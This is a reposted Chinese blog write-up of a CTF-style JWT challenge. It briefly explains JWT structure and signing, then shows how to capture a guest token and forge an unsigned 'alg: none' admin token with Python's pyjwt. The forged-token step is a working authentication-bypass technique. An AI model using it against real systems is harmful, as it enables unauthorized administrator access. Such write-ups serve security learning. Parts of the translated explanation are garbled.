JSON Web Token (JWT) - Introduction
Posted abbin-blog
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JSON Web Token (JWT) - Introduction相关的知识,希望对你有一定的参考价值。
To validate the challenge, connect as admin.------------以admin登陆
https://jwt.io/introduction/
JSON Web令牌(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于在各方之间作为JSON对象安全地传输信息。由于此信息是经过数字签名的,因此可以被验证和信任。可以使用秘密(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对对JWT进行签名。
JWT的数据分为三部分:标头,有效载荷,签名(签名)。
因为标头和有效负载以明文形式存储,所以签名用于防止数据被修改。
提供数据的事务处理功能的签名通常使用RS256(RSA非对称加密和私钥签名)和HS256(HMAC SHA256对称加密)算法。,签名对象为base64UrlEncode(headers)+‘。+ base64UrlEncode(‘signature‘)。
开始挑战------------------
以guest身份登陆
bp截断获取jwt
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk
https://jwt.io ---------------- 查看有效载荷
使用python的pyjwt模块,使用admin有效载荷------------重新生成令牌,没有算法
>>> import jwt
>>> encoded = jwt.encode({‘username‘: ‘admin‘}, ‘‘, algorithm=‘none‘)
>>> encoded
‘eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.‘
以上是关于JSON Web Token (JWT) - Introduction的主要内容,如果未能解决你的问题,请参考以下文章